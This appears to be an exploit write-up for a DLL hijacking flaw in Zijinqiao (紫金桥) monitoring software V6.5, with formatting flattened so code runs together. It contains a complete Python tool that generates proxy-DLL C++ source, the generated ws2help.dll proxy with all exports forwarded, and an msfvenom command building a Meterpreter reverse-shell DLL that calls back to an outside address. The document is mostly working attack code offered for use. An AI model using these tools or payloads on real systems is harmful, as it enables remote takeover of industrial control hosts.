紫金桥监控组态软件 V6.5劫持漏洞

python DLL_Hijacker.py c:WINDOWSsystem32ws2help.dll

#coding=utf-8## Dll Hijacker## platform: Python 2.x @ Windows ## author:Coca1neimport os,sys,timeimport pefiledef main():    try:        pe = pefile.PE(sys.argv[1])        exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols        print "[!]Find export function :[ %d ]rn" % len(exportTable)        for exptab in exportTable:             print "%3s %10s" % (exptab.ordinal, exptab.name)        print "rn[+] generating DLL Hijack cpp file ..."        generate(exportTable)        print "rn[+] generating DLL Hijack cpp file has finished!"    except Exception, e:        print edef generate(exportTable):    segments = r"//Generate by DLLHijacker.py#include <Windows.h>DEFINE_DLL_EXPORT_FUNC#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdeclnamespace DLLHijacker{    HMODULE m_hModule = NULL;    DWORD m_dwReturn[17] = {0};    inline BOOL WINAPI Load()    {        TCHAR tzPath[MAX_PATH];        lstrcpy(tzPath, TEXT("DLL_FILENAME.dll"));        m_hModule = LoadLibrary(tzPath);        if (m_hModule == NULL)            return FALSE;        return (m_hModule != NULL);    }    inline VOID WINAPI Free()    {        if (m_hModule)            FreeLibrary(m_hModule);    }    FARPROC WINAPI GetAddress(PCSTR pszProcName)    {        FARPROC fpAddress;        CHAR szProcName[16];        fpAddress = GetProcAddress(m_hModule, pszProcName);        if (fpAddress == NULL)        {            if (HIWORD(pszProcName) == 0)            {                wsprintf(szProcName, "%d", pszProcName);                pszProcName = szProcName;            }            ExitProcess(-2);        }        return fpAddress;    }}using namespace DLLHijacker;VOID Hijack(){    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);}BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        if(Load())            Hijack();    }    else if (dwReason == DLL_PROCESS_DETACH)    {        Free();    }    return TRUE;}"    filename = sys.argv[1][sys.argv[1].rindex('\')+1:sys.argv[1].rindex('.')]    fp = open(filename + ".cpp", "w+")    define_dll_exp_func = ""    for exptable in exportTable:        define_dll_exp_func += r"#pragma comment(linker, "/EXPORT:" + str(exptable.name) +                            "=_DLLHijacker_" + str(exptable.name) + ",@"+ str(exptable.ordinal) +"")n"    segments = segments.replace('DLL_FILENAME', filename)    segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\','')    fp.writelines(segments)    forward_dll_exp_func = ""    for exptable in exportTable:        forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name) +"(void)n{" +                             "n        __asm POP m_dwReturn[0 * TYPE long];n    GetAddress(""+                             str(exptable.name) + "")();n    __asm JMP m_dwReturn[0 * TYPE long];n}rn"    fp.writelines(forward_dll_exp_func)    fp.close()def usage():    print "Usage:"    print "    %s c:\windows\system32\msimg32.dll" % sys.argv[0]if __name__ == "__main__":    if(len(sys.argv) <2):        usage()    else:        main()

//Generate by DLLHijacker.py#include <Windows.h>#pragma comment(linker, "/EXPORT:WahCloseApcHelper=_DLLHijacker_WahCloseApcHelper,@1")#pragma comment(linker, "/EXPORT:WahCloseHandleHelper=_DLLHijacker_WahCloseHandleHelper,@2")#pragma comment(linker, "/EXPORT:WahCloseNotificationHandleHelper=_DLLHijacker_WahCloseNotificationHandleHelper,@3")#pragma comment(linker, "/EXPORT:WahCloseSocketHandle=_DLLHijacker_WahCloseSocketHandle,@4")#pragma comment(linker, "/EXPORT:WahCloseThread=_DLLHijacker_WahCloseThread,@5")#pragma comment(linker, "/EXPORT:WahCompleteRequest=_DLLHijacker_WahCompleteRequest,@6")#pragma comment(linker, "/EXPORT:WahCreateHandleContextTable=_DLLHijacker_WahCreateHandleContextTable,@7")#pragma comment(linker, "/EXPORT:WahCreateNotificationHandle=_DLLHijacker_WahCreateNotificationHandle,@8")#pragma comment(linker, "/EXPORT:WahCreateSocketHandle=_DLLHijacker_WahCreateSocketHandle,@9")#pragma comment(linker, "/EXPORT:WahDestroyHandleContextTable=_DLLHijacker_WahDestroyHandleContextTable,@10")#pragma comment(linker, "/EXPORT:WahDisableNonIFSHandleSupport=_DLLHijacker_WahDisableNonIFSHandleSupport,@11")#pragma comment(linker, "/EXPORT:WahEnableNonIFSHandleSupport=_DLLHijacker_WahEnableNonIFSHandleSupport,@12")#pragma comment(linker, "/EXPORT:WahEnumerateHandleContexts=_DLLHijacker_WahEnumerateHandleContexts,@13")#pragma comment(linker, "/EXPORT:WahInsertHandleContext=_DLLHijacker_WahInsertHandleContext,@14")#pragma comment(linker, "/EXPORT:WahNotifyAllProcesses=_DLLHijacker_WahNotifyAllProcesses,@15")#pragma comment(linker, "/EXPORT:WahOpenApcHelper=_DLLHijacker_WahOpenApcHelper,@16")#pragma comment(linker, "/EXPORT:WahOpenCurrentThread=_DLLHijacker_WahOpenCurrentThread,@17")#pragma comment(linker, "/EXPORT:WahOpenHandleHelper=_DLLHijacker_WahOpenHandleHelper,@18")#pragma comment(linker, "/EXPORT:WahOpenNotificationHandleHelper=_DLLHijacker_WahOpenNotificationHandleHelper,@19")#pragma comment(linker, "/EXPORT:WahQueueUserApc=_DLLHijacker_WahQueueUserApc,@20")#pragma comment(linker, "/EXPORT:WahReferenceContextByHandle=_DLLHijacker_WahReferenceContextByHandle,@21")#pragma comment(linker, "/EXPORT:WahRemoveHandleContext=_DLLHijacker_WahRemoveHandleContext,@22")#pragma comment(linker, "/EXPORT:WahWaitForNotification=_DLLHijacker_WahWaitForNotification,@23")#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdeclnamespace DLLHijacker{    HMODULE m_hModule = NULL;    DWORD m_dwReturn[17] = {0};    inline BOOL WINAPI Load(){        TCHAR tzPath[MAX_PATH];        lstrcpy(tzPath, TEXT("ws2help.dll"));        m_hModule = LoadLibrary(tzPath);        if (m_hModule == NULL)            return FALSE;        return (m_hModule != NULL);    }    inline VOID WINAPI Free(){        if (m_hModule)            FreeLibrary(m_hModule);    }    FARPROC WINAPI GetAddress(PCSTR pszProcName){        FARPROC fpAddress;        CHAR szProcName[16];        fpAddress = GetProcAddress(m_hModule, pszProcName);        if (fpAddress == NULL)        {            if (HIWORD(pszProcName) == 0)            {                wsprintf(szProcName, "%d", pszProcName);                pszProcName = szProcName;            }            ExitProcess(-2);        }        return fpAddress;    }}using namespace DLLHijacker;VOID Hijack(){    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);}BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        if(Load())            Hijack();    }    else if (dwReason == DLL_PROCESS_DETACH)    {        Free();    }    return TRUE;}ALCDECL DLLHijacker_WahCloseApcHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseApcHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseNotificationHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseNotificationHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseSocketHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseSocketHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseThread(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseThread")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCompleteRequest(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCompleteRequest")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCreateHandleContextTable(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCreateHandleContextTable")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCreateNotificationHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCreateNotificationHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCreateSocketHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCreateSocketHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahDestroyHandleContextTable(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahDestroyHandleContextTable")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahDisableNonIFSHandleSupport(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahDisableNonIFSHandleSupport")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahEnableNonIFSHandleSupport(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahEnableNonIFSHandleSupport")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahEnumerateHandleContexts(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahEnumerateHandleContexts")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahInsertHandleContext(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahInsertHandleContext")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahNotifyAllProcesses(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahNotifyAllProcesses")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenApcHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenApcHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenCurrentThread(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenCurrentThread")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenNotificationHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenNotificationHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahQueueUserApc(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahQueueUserApc")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahReferenceContextByHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahReferenceContextByHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahRemoveHandleContext(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahRemoveHandleContext")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahWaitForNotification(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahWaitForNotification")();    __asm JMP m_dwReturn[0 * TYPE long];}

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.7.199 LPORT=4399 -f dll >/root/ws2help.dll